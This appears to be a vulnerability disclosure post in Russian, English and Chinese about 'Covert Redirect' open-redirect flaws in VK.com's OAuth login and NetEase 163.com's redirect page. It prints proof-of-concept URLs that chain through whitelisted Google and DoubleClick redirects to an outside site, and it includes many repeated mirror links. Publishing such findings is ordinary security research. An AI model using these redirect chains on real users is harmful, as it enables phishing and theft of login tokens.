http://api.vk.com/oauth/authorize?client_id=2852163&redirect_uri=http://my.kp.ru/login.do?returnUrl=http%3A%2F%2Fwww.kp.ru&display=page&scope=wall,offline

 

 

СПЭ:
http://oauth.vk.com/authorize?response_type=code&scope=12&client_id=2852163&redirect_uri=http%3A%2F%2Fmy.kp.ru%2Flogin.do%3FreturnUrl%3Dhttp%253A%252F%252Fwww.tetraph.com%252Fessayjeans%252Fpoems%252Ffish_water.html

http://api.vk.com/oauth/authorize?client_id=2852163&redirect_uri=http://my.kp.ru/login.do?returnUrl=http%3A%2F%2Fwww.tetraph.com%2Fessayjeans%2Fpoems%2Ffish_water.html&display=page&scope=wall,offline

 

 

СПЭ Видео:
https://www.youtube.com/watch?v=3gNhi8h2AQY

 

Блог деталь:
http://www.tetraph.com/blog/covert-redirect/vk-com-oauth-2-0-covert-redirect-vulnerability/

 

 

 

(3) Что такое Скрытое перенаправление?

Скрытое перенаправление класс ошибок безопасности, описанных мая 2014 Это приложение, которое принимает параметр и перенаправляет пользователя на значение параметра без достаточного обоснования. Это часто делает использование открытого Redirect и XSS (Cross-Site Scripting) уязвимостей в сторонних приложениях.

 

Скрытое перенаправление также связано с единого входа, такие как OAuth и OpenID. Хакер может использовать это, чтобы украсть конфиденциальную информацию пользователей. Почти все OAuth 2.0 и OpenID-провайдеров по всему миру страдают. Скрытое перенаправление может работать вместе с CSRF (Cross-Site Request подлог), а также.

 

 

 

Откройте для себя и Докладчик:
Ван Цзин, Отдел математических наук (MAS), школа физико-математических наук (ВПУ), Nanyang технологический университет (НТУ), Сингапур. (@justqdjing)
http://tetraph.com/wangjing/

 

 

 

 

Подробнее:
http://tetraph.com/security/covert-redirect/vk-com-oauth-2-0-covert-redirect-vulnerability/
https://itswift.wordpress.com/2014/05/02/vk-exploit/
http://tetraph.blogspot.com/2014/05/vkcom-oauth-20-covert-redirect.html
https://twitter.com/tetraphibious/status/559166795525799936
http://frenchairing.blogspot.fr/2014/05/vk-exploit.html
http://whitehatview.tumblr.com/post/119487379761/securitypost
http://webtech.lofter.com/post/1cd3e0d3_706aec6
http://tetraph.blog.163.com/blog/static/234603051201445111630165/
http://www.inzeed.com/kaleidoscope/covert-redirect/vk-com-oauth-2-0-covert-redirect-vulnerability/
https://itinfotechnology.wordpress.com/2014/05/07/vk-bug/
http://russiapost.blogspot.ru/2014/05/vk-exploit.html

 

 

NetEase (163.com) Online Website Covert Redirect Web Security Bugs Based on Google.com

163-neteasy

 

NetEase (163.com) Online Website Covert Redirect Web Security Bugs Based on Google.com


(1) Domain:
163.com

 

 

“NetEase, Inc. (simplified Chinese: 网易; traditional Chinese: 網易; pinyin: Wǎng Yì) is a Chinese Internet company that operates 163.com, a popular web portal ranked 27 by Alexa as of April 2014. 163.com is one of the largest Chinese Internet content providers, and as such frequently appears in the top 10 domains used in spam.” (Wikipedia)

 

 

 

 

(2) Vulnerability Description:

163 web application has a computer security problem. Hacker can exploit it by Covert Redirect cyber attacks.

 

The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04),Apple Safari 6.1.6 of Mac OS X Lion 10.7.

 

The programming code flaw occurs at page “redirect.html?” with parameter “&url”, e.g.
http://blog.163.com/pub/redirect.html?fromsubscribe&url=http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCkQFjAA&url=http%3A%2F%2Fwww.tetraph.com%2F&ei=F-M2U-iiM4HoiAej74HADA&usg=AFQjCNHRJ5hWvXyy2WcSdJPZNEwvbMW9Zg&sig2=bdrpWjJ-87ZbUWuQivt5vA&bvm=bv.63808443,d.aGc

 

 

 

 

(2.1) When a user is redirected from 163 to another site, 163 will check whether this URL belongs to a domain on 163’s whitelist. If this is true, the redirection will be permitted.

However, if the URLs in a whitelisted domain have open URL redirection vulnerabilities themselves, a user could be redirected from 163 to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site. This is as if being redirected from 163 directly.

 

 

 

 

(2.2) Used one of webpages for the following tests. The webpage is “http://whitehatpostlike.lofter.com/“. Can suppose it is malicious.

 

Below is an example of a vulnerable domain:
google.com

 

Vulnerable URL from 163 that is related to yhd.com:
http://blog.163.com/pub/redirect.html?fromsubscribe&url=http://fusion.google.com

 

POC:
http://blog.163.com/pub/redirect.html?fromsubscribe&url=https://www.google.com/accounts/Logout?service=wise&continue=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3DL%26ai%3DCtHoIVxn3UvjLOYGKiAeelIHIBfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoE5AFP0NHr5cHwFmWgKNs6HNTPVk7TWSV-CDHX83dKdGSWJ2ADoZNIxUHZwjAODRyDY_7nVtpuqSLOTef4xzVxDQ2U22MNbGak33Ur7i2jDB8LdYt9TbC3ifsXmklY5jl3Zpq4_lP7wagVfjt0–tNPPGTR96NGbxgPvfHMq9ZsTXpjhc_lPlnyGjlWzF8yn437iaxhGRwYLt_CymifLO2YaJPkCm9nLpONtUM-mstUSpKQrP2VjjaZkbDtuK0naLLBV37aYEY4TzWQi8fQGN47z4XgpinBCna91zQayZjn2wxccDCl0zgBAGgBhU%26num%3D0%26sig%3DAOD64_3Qi4qG3CRVHRI5AHSkSGuL7HJqSA%26client%3Dca-pub-0466582109566532%26adurl%3Dhttp%3A%2F%2Fwww.tetraph.com%2Fblog

 

 

 

POC video:
https://www.youtube.com/watch?v=8QqKQml1QCE


Blog Detail:
http://tetraph.blogspot.com/2014/05/163com-netease-covert-redirect-based-on.html

 

 

(3) What is Covert Redirect?

Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS (Cross-site Scripting) vulnerabilities in third-party applications.

 

Covert Redirect is also related to single sign-on. It is known by its influence on OAuth and OpenID. Hacker may use it to steal users’ sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect can work together with CSRF (Cross-site Request Forgery) as well.



 

Discover and Reporter:
Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)
http://tetraph.com/wangjing/

 

 

 

More Details:
http://tetraph.com/security/covert-redirect/163-com-netease-covert-redirect-based-on-google-com/
https://computertechhut.wordpress.com/2014/05/02/netease-hack/
http://webtechhut.blogspot.com/2014/05/163-bug.html
http://tetraph.blog.163.com/blog/static/234603051201452375727342/
http://diebiyi.com/articles/security/covert-redirect/163-com-netease-covert-redirect-based-on-google-com/
http://testingcode.lofter.com/post/1cd26eb9_72e71fd
http://canghaixiao.tumblr.com/post/119486195192/itinfotech-covert
https://twitter.com/tetraphibious/status/559166137343037440
https://biyiniao.wordpress.com/2014/05/28/163-exploit/
http://www.inzeed.com/kaleidoscope/covert-redirect/163-com-netease-covert-redirect-based-on-google-com/
http://computerobsess.blogspot.com/2014/09/163-website-vulnerability.html





==============

 

 

 

网易 (NetEase) 网站 隐蔽重定向 (Covert Redirect) 网络安全漏洞 基于 谷歌 (Google.com)





(1) 域名:
163.com


” 网易 (NASDAQ: NTES)是中国领先的互联网技术公司,利用最先进的互联网技术,加强人与人之间信息的交流和共享,实现“网聚人的力量”。创始人兼CEO是丁磊。在开发 互联网应用、服务及其它技术方面,网易始终保持业界的领先地位,并在中国互联网行业内率先推出了包括中文全文检索、全中文大容量免费邮件系统、无限容量免 费网络相册、免费电子贺卡站、网上虚拟社区、网上拍卖平台、24小时客户服务中心在内的业内领先产品或服务,还通过自主研发推出了一款率先取得白金地位的 国产网络游戏。网易公司推出了门户网站、在线游戏、电子邮箱、在线教育、电子商务、在线音乐、网易bobo等多种服务。” (百度百科)

 

 

(2) 漏洞描述:

163 网站有有一个计算机安全问题,黑客可以对它用隐蔽重定向 (Covert Redirect) 网络攻击。

 

 

 

这 个漏洞不需要用户登录,测试是基于微软 Windows 8 的 IE (10.0.9200.16750); Ubuntu (14.04) 的 Mozilla 火狐 (Firefox 34.0) 和 谷歌 Chromium 39.0.2171.65-0; 以及苹果 OS X Lion 10.7 的 Safari 6.16。

 

 

漏洞地点 “redirect.html?”,参数”&url”, e.g.
http://blog.163.com/pub/redirect.html?fromsubscribe&url=http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCkQFjAA&url=http%3A%2F%2Fwww.tetraph.com%2F&ei=F-M2U-iiM4HoiAej74HADA&usg=AFQjCNHRJ5hWvXyy2WcSdJPZNEwvbMW9Zg&sig2=bdrpWjJ-87ZbUWuQivt5vA&bvm=bv.63808443,d.aGc

 

 

 

 

(2.1) 163 对跳转的页面存在一个 domain whitelist, 如果跳转的页面属于这些 domain, 则允许跳转。

 

但是这些被whitelist domain 本身可能有 URL 跳转漏洞。因此,163 用户意识不到他会被先从 163 跳转到有漏洞的网页,然后从此网页跳转到有害的网页。这与从 163 直接跳转到有害网页是一样的。

 

 

 

 

(2.2) 用了一个页面进行了测试, 页面是 “http://shellmantis.tumblr.com/“. 可以假定它是有害的。

 

下面是一个有漏洞的 domain:
google.com

 

 

163 与 google.com 有关的有漏洞的 URL:
http://blog.163.com/pub/redirect.html?fromsubscribe&url=http://fusion.google.com

 

 

POC:
http://blog.163.com/pub/redirect.html?fromsubscribe&url=https://www.google.com/accounts/Logout?service=wise&continue=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3DL%26ai%3DCtHoIVxn3UvjLOYGKiAeelIHIBfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoE5AFP0NHr5cHwFmWgKNs6HNTPVk7TWSV-CDHX83dKdGSWJ2ADoZNIxUHZwjAODRyDY_7nVtpuqSLOTef4xzVxDQ2U22MNbGak33Ur7i2jDB8LdYt9TbC3ifsXmklY5jl3Zpq4_lP7wagVfjt0–tNPPGTR96NGbxgPvfHMq9ZsTXpjhc_lPlnyGjlWzF8yn437iaxhGRwYLt_CymifLO2YaJPkCm9nLpONtUM-mstUSpKQrP2VjjaZkbDtuK0naLLBV37aYEY4TzWQi8fQGN47z4XgpinBCna91zQayZjn2wxccDCl0zgBAGgBhU%26num%3D0%26sig%3DAOD64_3Qi4qG3CRVHRI5AHSkSGuL7HJqSA%26client%3Dca-pub-0466582109566532%26adurl%3Dhttp%3A%2F%2Fwww.tetraph.com%2Fblog

 

 

 

POC 视频:
https://www.youtube.com/watch?v=8QqKQml1QCE


博客细节:
http://tetraph.blogspot.com/2014/05/163com-netease-covert-redirect-based-on.html

 

 

 

 

(3) 什么是隐蔽重定向?

隐蔽重定向 (Covert Redirect) 是一个计算机网络安全漏洞。这个漏洞发布于 2014年5月。漏洞成因是网络应用软件对跳转到合作者的跳转没有充分过滤。这个漏洞经常利用第三方网站 (包括合作网站) 的公开重定向 (Open Redirect) 或者 跨站脚本漏洞 (XSS – Cross-site Scripting) 问题。

 

隐蔽重定向也对单点登录 (single sign-on) 有影响。最初发布的是对两款常用登录软件 OAuth 2.0 和 OpenID 的影响。黑客可以利用真实的网站进行网络钓鱼,从而窃取用户敏感信息。几乎所用提供 OAuth 2.0 和 OpenID 服务的网站都被影响。隐蔽重定向还可以和 跨站请求伪造 (CSRF – Cross-site Request Forgery) 一起利用。